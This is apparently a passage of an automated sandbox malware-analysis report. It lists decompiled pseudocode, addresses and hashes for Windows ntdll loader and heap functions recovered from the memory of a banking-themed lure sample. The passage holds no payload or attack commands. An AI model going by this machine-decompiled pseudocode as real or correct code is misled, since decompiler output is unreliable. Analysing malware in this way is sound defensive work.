												_t105 = E012BF380(_t136, 0x1251184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E01292280(_t108, 0x13686cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E012A61A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E01349D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E0128FFB0(_t118, _t156, 0x13686cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E012B9A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}












































                                                                        0x01288799
                                                                        0x0128879d
                                                                        0x012887a1
                                                                        0x012887a3
                                                                        0x012887a8
                                                                        0x012887c3
                                                                        0x012887c3
                                                                        0x012887c8
                                                                        0x012887d1
                                                                        0x012887d4
                                                                        0x012887d8
                                                                        0x012887e5
                                                                        0x012887ec
                                                                        0x012d9bfe
                                                                        0x012d9c00
                                                                        0x012d9c02
                                                                        0x012d9c08
                                                                        0x012d9c0d
                                                                        0x012d9c0f
                                                                        0x012d9c14
                                                                        0x012d9c2d
                                                                        0x012d9c32
                                                                        0x012d9c37
                                                                        0x012d9c3a
                                                                        0x012d9c3c
                                                                        0x012d9c42
                                                                        0x012d9c42
                                                                        0x012d9c3c
                                                                        0x012d9c02
                                                                        0x012887da
                                                                        0x012887df
                                                                        0x012887e3
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012887e3
                                                                        0x012887f2
                                                                        0x00000000
                                                                        0x012887fb
                                                                        0x012887fd
                                                                        0x012887fe
                                                                        0x0128880e
                                                                        0x0128880f
                                                                        0x01288810
                                                                        0x01288814
                                                                        0x0128881a
                                                                        0x0128881c
                                                                        0x0128881f
                                                                        0x01288821
                                                                        0x01288822
                                                                        0x01288824
                                                                        0x01288826
                                                                        0x0128882c
                                                                        0x0128882e
                                                                        0x012d9c48
                                                                        0x012d9c48
                                                                        0x01288834
                                                                        0x01288834
                                                                        0x01288837
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01288837
                                                                        0x0128882e
                                                                        0x0128883d
                                                                        0x01288840
                                                                        0x01288843
                                                                        0x01288846
                                                                        0x01288849
                                                                        0x0128884c
                                                                        0x0128884e
                                                                        0x01288850
                                                                        0x01288852
                                                                        0x01288854
                                                                        0x01288857
                                                                        0x012888b4
                                                                        0x012888b6
                                                                        0x012888b6
                                                                        0x01288859
                                                                        0x01288859
                                                                        0x01288859
                                                                        0x01288861
                                                                        0x01288866
                                                                        0x0128886a
                                                                        0x0128893d
                                                                        0x01288941
                                                                        0x00000000
                                                                        0x01288947
                                                                        0x01288947
                                                                        0x0128894a
                                                                        0x0128894c
                                                                        0x00000000
                                                                        0x01288952
                                                                        0x01288955
                                                                        0x0128895a
                                                                        0x0128895d
                                                                        0x0128895d
                                                                        0x0128895f
                                                                        0x01288961
                                                                        0x01288961
                                                                        0x01288968
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128896a
                                                                        0x0128896b
                                                                        0x0128896e
                                                                        0x00000000
                                                                        0x01288970
                                                                        0x01288970
                                                                        0x01288970
                                                                        0x01288970
                                                                        0x01288972
                                                                        0x01288972
                                                                        0x01288974
                                                                        0x00000000
                                                                        0x0128897a
                                                                        0x0128897a
                                                                        0x0128897d
                                                                        0x00000000
                                                                        0x01288983
                                                                        0x012d9c65
                                                                        0x012d9c6d
                                                                        0x012d9c72
                                                                        0x012d9c75
                                                                        0x012d9c75
                                                                        0x012d9c82
                                                                        0x012d9c86
                                                                        0x012d9c87
                                                                        0x012d9c88
                                                                        0x012d9c89
                                                                        0x012d9c8c
                                                                        0x012d9c90
                                                                        0x012d9c95
                                                                        0x012d9c97
                                                                        0x012d9ca0
                                                                        0x012d9ca3
                                                                        0x012d9ca9
                                                                        0x012d9ca9
                                                                        0x00000000
                                                                        0x012d9ca9
                                                                        0x012d9ca3
                                                                        0x00000000
                                                                        0x012d9c97
                                                                        0x0128897d
                                                                        0x00000000
                                                                        0x01288974
                                                                        0x01288988
                                                                        0x01288992
                                                                        0x01288996
                                                                        0x00000000
                                                                        0x01288996
                                                                        0x0128894c
                                                                        0x00000000
                                                                        0x01288870
                                                                        0x0128887b
                                                                        0x0128887d
                                                                        0x0128887f
                                                                        0x01288881
                                                                        0x01288884
                                                                        0x01288884
                                                                        0x01288886
                                                                        0x01288889
                                                                        0x0128888c
                                                                        0x0128888e
                                                                        0x01288891
                                                                        0x01288891
                                                                        0x01288898
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128889a
                                                                        0x0128889b
                                                                        0x0128889e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012888a0
                                                                        0x012888a8
                                                                        0x012888b0
                                                                        0x012888b2
                                                                        0x012888d3
                                                                        0x012888d5
                                                                        0x00000000
                                                                        0x012888d7
                                                                        0x012888db
                                                                        0x012888dc
                                                                        0x012888e0
                                                                        0x012888e8
                                                                        0x012888ee
                                                                        0x012888f0
                                                                        0x012888f3
                                                                        0x012888fc
                                                                        0x01288901
                                                                        0x01288906
                                                                        0x0128890c
                                                                        0x0128890c
                                                                        0x0128890f
                                                                        0x01288916
                                                                        0x01288917
                                                                        0x01288918
                                                                        0x01288919
                                                                        0x0128891a
                                                                        0x0128891f
                                                                        0x01288921
                                                                        0x012d9c52
                                                                        0x012d9c55
                                                                        0x012d9c5b
                                                                        0x012d9cac
                                                                        0x012d9cc0
                                                                        0x012d9cc0
                                                                        0x012d9c55
                                                                        0x01288927
                                                                        0x01288927
                                                                        0x0128892f
                                                                        0x01288933
                                                                        0x00000000
                                                                        0x012888f5
                                                                        0x012888f5
                                                                        0x00000000
                                                                        0x012888f7
                                                                        0x012888f7
                                                                        0x012888fa
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012888fa
                                                                        0x012888f5
                                                                        0x012888f3
                                                                        0x00000000
                                                                        0x012888d5
                                                                        0x00000000
                                                                        0x012888b2
                                                                        0x012888c9
                                                                        0x00000000
                                                                        0x012888c9
                                                                        0x0128887f
                                                                        0x0128886a
                                                                        0x01288857
                                                                        0x01288852
                                                                        0x012888bf
                                                                        0x012888bf
                                                                        0x012887aa
                                                                        0x012887ad
                                                                        0x012887ae
                                                                        0x012887b4
                                                                        0x012887b5
                                                                        0x012887b6
                                                                        0x012887b8
                                                                        0x012887bd
                                                                        0x012887c1
                                                                        0x012887f4
                                                                        0x012887fa
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012887c1
                                                                        0x00000000

                                                                        Strings
                                                                        • LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 012D9C18
                                                                        • minkernel\ntdll\ldrsnap.c, xrefs: 012D9C28
                                                                        • LdrpDoPostSnapWork, xrefs: 012D9C1E
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
                                                                        • API String ID: 2994545307-1948996284
                                                                        • Opcode ID: 9a43bee80cd97ed5ad41bd096f4b4ec069a383470339239f4152dd0425a93649
                                                                        • Instruction ID: a98091d7550f80e63ac60e4a30980e2a74fb9949bb9dceb0042b141629c66c7e
                                                                        • Opcode Fuzzy Hash: 9a43bee80cd97ed5ad41bd096f4b4ec069a383470339239f4152dd0425a93649
                                                                        • Instruction Fuzzy Hash: 79910431A3220BDFEF18EF59D481ABAB7B5FF44314B844169EA05AB291D730ED41CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0129B73D Relevance: 3.9, Strings: 3, Instructions: 190COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 74%
                                                                        			E0129B73D(void* __ecx, signed int __edx, intOrPtr* _a4, unsigned int _a8, intOrPtr _a12, signed int* _a16) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t72;
				char _t76;
				signed char _t77;
				intOrPtr* _t80;
				unsigned int _t85;
				signed int* _t86;
				signed int _t88;
				signed char _t89;
				intOrPtr _t90;
				intOrPtr _t101;
				intOrPtr* _t111;
				void* _t117;
				intOrPtr* _t118;
				signed int _t120;
				signed char _t121;
				intOrPtr* _t123;
				signed int _t126;
				intOrPtr _t136;
				signed int _t139;
				void* _t140;
				signed int _t141;
				void* _t147;

				_t111 = _a4;
				_t140 = __ecx;
				_v8 = __edx;
				_t3 = _t111 + 0x18; // 0x0
				 *((intOrPtr*)(_t111 + 0x10)) = _t3;
				_t5 = _t111 - 8; // -32
				_t141 = _t5;
				 *(_t111 + 0x14) = _a8;
				_t72 = 4;
				 *(_t141 + 2) = 1;
				 *_t141 = _t72;
				 *((char*)(_t141 + 7)) = 3;
				_t134 =  *((intOrPtr*)(__edx + 0x18));
				if( *((intOrPtr*)(__edx + 0x18)) != __edx) {
					_t76 = (_t141 - __edx >> 0x10) + 1;
					_v12 = _t76;
					__eflags = _t76 - 0xfe;
					if(_t76 >= 0xfe) {
						_push(__edx);
						_push(0);
						E0133A80D(_t134, 3, _t141, __edx);
						_t76 = _v12;
					}
				} else {
					_t76 = 0;
				}
				 *((char*)(_t141 + 6)) = _t76;
				if( *0x1368748 >= 1) {
					__eflags = _a12 - _t141;
					if(_a12 <= _t141) {
						goto L4;
					}
					_t101 =  *[fs:0x30];
					__eflags =  *(_t101 + 0xc);
					if( *(_t101 + 0xc) == 0) {
						_push("HEAP: ");
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push("((PHEAP_ENTRY)LastKnownEntry <= Entry)");
					E0127B150();
					__eflags =  *0x1367bc8;
					if(__eflags == 0) {
						E01332073(_t111, 1, _t140, __eflags);
					}
					goto L3;
				} else {
					L3:
					_t147 = _a12 - _t141;
					L4:
					if(_t147 != 0) {
						 *((short*)(_t141 + 4)) =  *((intOrPtr*)(_t140 + 0x54));
					}
					if( *((intOrPtr*)(_t140 + 0x4c)) != 0) {
						 *(_t141 + 3) =  *(_t141 + 1) ^  *(_t141 + 2) ^  *_t141;
						 *_t141 =  *_t141 ^  *(_t140 + 0x50);
					}
					_t135 =  *(_t111 + 0x14);
					if( *(_t111 + 0x14) == 0) {
						L12:
						_t77 =  *((intOrPtr*)(_t141 + 6));
						if(_t77 != 0) {
							_t117 = (_t141 & 0xffff0000) - ((_t77 & 0x000000ff) << 0x10) + 0x10000;
						} else {
							_t117 = _t140;
						}
						_t118 = _t117 + 0x38;
						_t26 = _t111 + 8; // -16
						_t80 = _t26;
						_t136 =  *_t118;
						if( *((intOrPtr*)(_t136 + 4)) != _t118) {
							_push(_t118);
							_push(0);
							E0133A80D(0, 0xd, _t118,  *((intOrPtr*)(_t136 + 4)));
						} else {
							 *_t80 = _t136;
							 *((intOrPtr*)(_t80 + 4)) = _t118;
							 *((intOrPtr*)(_t136 + 4)) = _t80;
							 *_t118 = _t80;
						}
						_t120 = _v8;
						 *((intOrPtr*)(_t120 + 0x30)) =  *((intOrPtr*)(_t120 + 0x30)) + 1;
						 *((intOrPtr*)(_t120 + 0x2c)) =  *((intOrPtr*)(_t120 + 0x2c)) + ( *(_t111 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t140 + 0x1e8)) =  *((intOrPtr*)(_t140 + 0x1e8)) -  *(_t111 + 0x14);
						 *((intOrPtr*)(_t140 + 0x1f8)) =  *((intOrPtr*)(_t140 + 0x1f8)) + 1;
						if( *((intOrPtr*)(_t140 + 0x1f8)) > 0xa) {
							__eflags =  *(_t140 + 0xb8);
							if( *(_t140 + 0xb8) == 0) {
								_t88 =  *(_t140 + 0x40) & 0x00000003;
								__eflags = _t88 - 2;
								_t121 = _t120 & 0xffffff00 | _t88 == 0x00000002;
								__eflags =  *0x1368720 & 0x00000001;
								_t89 = _t88 & 0xffffff00 | ( *0x1368720 & 0x00000001) == 0x00000000;
								__eflags = _t89 & _t121;
								if((_t89 & _t121) != 0) {
									 *(_t140 + 0x48) =  *(_t140 + 0x48) | 0x10000000;
								}
							}
						}
						_t85 =  *(_t111 + 0x14);
						if(_t85 >= 0x7f000) {
							 *((intOrPtr*)(_t140 + 0x1ec)) =  *((intOrPtr*)(_t140 + 0x1ec)) + _t85;
						}
						_t86 = _a16;
						 *_t86 = _t141 - _a12 >> 3;
						return _t86;
					} else {
						_t90 = E0129B8E4(_t135);
						_t123 =  *((intOrPtr*)(_t90 + 4));
						if( *_t123 != _t90) {
							_push(_t123);
							_push( *_t123);
							E0133A80D(0, 0xd, _t90, 0);
						} else {
							 *_t111 = _t90;
							 *((intOrPtr*)(_t111 + 4)) = _t123;
							 *_t123 = _t111;
							 *((intOrPtr*)(_t90 + 4)) = _t111;
						}
						_t139 =  *(_t140 + 0xb8);
						if(_t139 != 0) {
							_t93 =  *(_t111 + 0x14) >> 0xc;
							__eflags = _t93;
							while(1) {
								__eflags = _t93 -  *((intOrPtr*)(_t139 + 4));
								if(_t93 <  *((intOrPtr*)(_t139 + 4))) {
									break;
								}
								_t126 =  *_t139;
								__eflags = _t126;
								if(_t126 != 0) {
									_t139 = _t126;
									continue;
								}
								_t93 =  *((intOrPtr*)(_t139 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t139 + 4)) - 1;
								break;
							}
							E0129E4A0(_t140, _t139, 0, _t111, _t93,  *(_t111 + 0x14));
						}
						goto L12;
					}
				}
			}






























                                                                        0x0129b746
                                                                        0x0129b74b
                                                                        0x0129b74d
                                                                        0x0129b750
                                                                        0x0129b755
                                                                        0x0129b758
                                                                        0x0129b758
                                                                        0x0129b75e
                                                                        0x0129b763
                                                                        0x0129b764
                                                                        0x0129b76a
                                                                        0x0129b76d
                                                                        0x0129b771
                                                                        0x0129b776
                                                                        0x0129b85c
                                                                        0x0129b85d
                                                                        0x0129b860
                                                                        0x0129b865
                                                                        0x012e2ba1
                                                                        0x012e2ba2
                                                                        0x012e2ba9
                                                                        0x012e2bae
                                                                        0x012e2bae
                                                                        0x0129b77c
                                                                        0x0129b77c
                                                                        0x0129b77c
                                                                        0x0129b785
                                                                        0x0129b788
                                                                        0x012e2bb6
                                                                        0x012e2bb9
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e2bbf
                                                                        0x012e2bc5
                                                                        0x012e2bc9
                                                                        0x012e2be8
                                                                        0x012e2bed
                                                                        0x012e2bcb
                                                                        0x012e2be0
                                                                        0x012e2be5
                                                                        0x012e2bf3
                                                                        0x012e2bf8
                                                                        0x012e2bfd
                                                                        0x012e2c05
                                                                        0x012e2c0e
                                                                        0x012e2c0e
                                                                        0x00000000
                                                                        0x0129b78e
                                                                        0x0129b78e
                                                                        0x0129b78e
                                                                        0x0129b791
                                                                        0x0129b791
                                                                        0x0129b797
                                                                        0x0129b797
                                                                        0x0129b79f
                                                                        0x0129b7a9
                                                                        0x0129b7af
                                                                        0x0129b7af
                                                                        0x0129b7b1
                                                                        0x0129b7b6
                                                                        0x0129b7e2
                                                                        0x0129b7e2
                                                                        0x0129b7e7
                                                                        0x0129b880
                                                                        0x0129b7ed
                                                                        0x0129b7ed
                                                                        0x0129b7ed
                                                                        0x0129b7ef
                                                                        0x0129b7f2
                                                                        0x0129b7f2
                                                                        0x0129b7f5
                                                                        0x0129b7fa
                                                                        0x012e2c2d
                                                                        0x012e2c2e
                                                                        0x012e2c39
                                                                        0x0129b800
                                                                        0x0129b800
                                                                        0x0129b802
                                                                        0x0129b805
                                                                        0x0129b808
                                                                        0x0129b808
                                                                        0x0129b80a
                                                                        0x0129b80d
                                                                        0x0129b816
                                                                        0x0129b81c
                                                                        0x0129b822
                                                                        0x0129b82f
                                                                        0x0129b88b
                                                                        0x0129b892
                                                                        0x0129b897
                                                                        0x0129b899
                                                                        0x0129b89b
                                                                        0x0129b89e
                                                                        0x0129b8a5
                                                                        0x0129b8a8
                                                                        0x0129b8aa
                                                                        0x0129b8ac
                                                                        0x0129b8ac
                                                                        0x0129b8aa
                                                                        0x0129b892
                                                                        0x0129b831
                                                                        0x0129b839
                                                                        0x0129b83b
                                                                        0x0129b83b
                                                                        0x0129b844
                                                                        0x0129b84b
                                                                        0x0129b852
                                                                        0x0129b7b8
                                                                        0x0129b7ba
                                                                        0x0129b7bf
                                                                        0x0129b7c4
                                                                        0x012e2c18
                                                                        0x012e2c19
                                                                        0x012e2c23
                                                                        0x0129b7ca
                                                                        0x0129b7ca
                                                                        0x0129b7cc
                                                                        0x0129b7cf
                                                                        0x0129b7d1
                                                                        0x0129b7d1
                                                                        0x0129b7d4
                                                                        0x0129b7dc
                                                                        0x0129b8bb
                                                                        0x0129b8bb
                                                                        0x0129b8be
                                                                        0x0129b8be
                                                                        0x0129b8c1
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129b8c3
                                                                        0x0129b8c5
                                                                        0x0129b8c7
                                                                        0x0129b8e0
                                                                        0x00000000
                                                                        0x0129b8e0
                                                                        0x0129b8cc
                                                                        0x0129b8cc
                                                                        0x00000000
                                                                        0x0129b8cc
                                                                        0x0129b8d6
                                                                        0x0129b8d6
                                                                        0x00000000
                                                                        0x0129b7dc
                                                                        0x0129b7b6

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
                                                                        • API String ID: 0-1334570610
                                                                        • Opcode ID: 1cad53994c048216c67df159bb35cd3e8096c1cf0550af93f0ecb99a011dadab
                                                                        • Instruction ID: d645d95724646f4557efd7d0e673c5f6e127d36a4901c2471fa10303aeaabe14
                                                                        • Opcode Fuzzy Hash: 1cad53994c048216c67df159bb35cd3e8096c1cf0550af93f0ecb99a011dadab
                                                                        • Instruction Fuzzy Hash: C6619C71620206DFDB29CF2CD485BAABBE5FF48304F18855DE94A8F251D770E891CB91
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01287E41 Relevance: 3.9, Strings: 3, Instructions: 174COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 98%
                                                                        			E01287E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E0128CEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E0127C9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x1365780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E012F5510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x1365780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E01297D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E01297D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E012F7016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E01297D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E01297D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E012F7016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E012AA1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E0127B1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}




















                                                                        0x01287e4c
                                                                        0x01287e50
                                                                        0x01287e55
                                                                        0x01287e58
                                                                        0x01287e5d
                                                                        0x01287e71
                                                                        0x01287f33
                                                                        0x01287e77
                                                                        0x01287e77
                                                                        0x01287e79
                                                                        0x01287e79
                                                                        0x01287e7e
                                                                        0x01287f45
                                                                        0x012d9848
                                                                        0x00000000
                                                                        0x012d9848
                                                                        0x01287f4e
                                                                        0x01287f53
                                                                        0x01287f5a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d985a
                                                                        0x012d9862
                                                                        0x012d9866
                                                                        0x00000000
                                                                        0x012d986c
                                                                        0x00000000
                                                                        0x012d986c
                                                                        0x01287e84
                                                                        0x01287e84
                                                                        0x01287e8d
                                                                        0x012d9871
                                                                        0x01287eb8
                                                                        0x01287ec0
                                                                        0x01287ec0
                                                                        0x01287e9a
                                                                        0x012d987e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d9884
                                                                        0x012d988b
                                                                        0x012d98a7
                                                                        0x012d98ac
                                                                        0x012d98b1
                                                                        0x012d98b6
                                                                        0x012d98b8
                                                                        0x012d98b8
                                                                        0x012d98b9
                                                                        0x00000000
                                                                        0x012d98b9
                                                                        0x01287ea0
                                                                        0x01287ea7
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01287eac
                                                                        0x01287eb1
                                                                        0x01287ec6
                                                                        0x01287ed0
                                                                        0x012d98cc
                                                                        0x01287ed6
                                                                        0x01287ed6
                                                                        0x01287ed6
                                                                        0x01287ede
                                                                        0x01287ee3
                                                                        0x012d98e3
                                                                        0x012d98f0
                                                                        0x012d9902
                                                                        0x012d98f2
                                                                        0x012d98fb
                                                                        0x012d98fb
                                                                        0x012d9907
                                                                        0x012d991d
                                                                        0x012d991d
                                                                        0x012d9907
                                                                        0x012d98e3
                                                                        0x01287ef0
                                                                        0x01287f14
                                                                        0x01287f14
                                                                        0x01287f1e
                                                                        0x012d9946
                                                                        0x01287f24
                                                                        0x01287f24
                                                                        0x01287f24
                                                                        0x01287f2c
                                                                        0x012d996a
                                                                        0x012d9975
                                                                        0x012d9975
                                                                        0x012d997e
                                                                        0x012d9993
                                                                        0x012d9993
                                                                        0x012d997e
                                                                        0x00000000
                                                                        0x01287ef2
                                                                        0x01287efc
                                                                        0x01287f0a
                                                                        0x01287f0e
                                                                        0x012d9933
                                                                        0x00000000
                                                                        0x012d9933
                                                                        0x00000000
                                                                        0x01287f0e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01287eb1

                                                                        Strings
                                                                        • LdrpCompleteMapModule, xrefs: 012D9898
                                                                        • Could not validate the crypto signature for DLL %wZ, xrefs: 012D9891
                                                                        • minkernel\ntdll\ldrmap.c, xrefs: 012D98A2
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
                                                                        • API String ID: 0-1676968949
                                                                        • Opcode ID: e8e4363de2bd85a2925530e0a775ade6263f18ceff87273d42d6b81ba0e53c5a
                                                                        • Instruction ID: dc76f75f754480e9e0ec96fb5718bdfc8c269c559247608e80519518cfb21924
                                                                        • Opcode Fuzzy Hash: e8e4363de2bd85a2925530e0a775ade6263f18ceff87273d42d6b81ba0e53c5a
                                                                        • Instruction Fuzzy Hash: C3512331631742DBEB22DB6CC885B6ABBE4AF01718F2405A9FA519B7D1C774ED40CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0127E620 Relevance: 3.9, Strings: 3, Instructions: 165COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 93%
                                                                        			E0127E620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E0127F358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
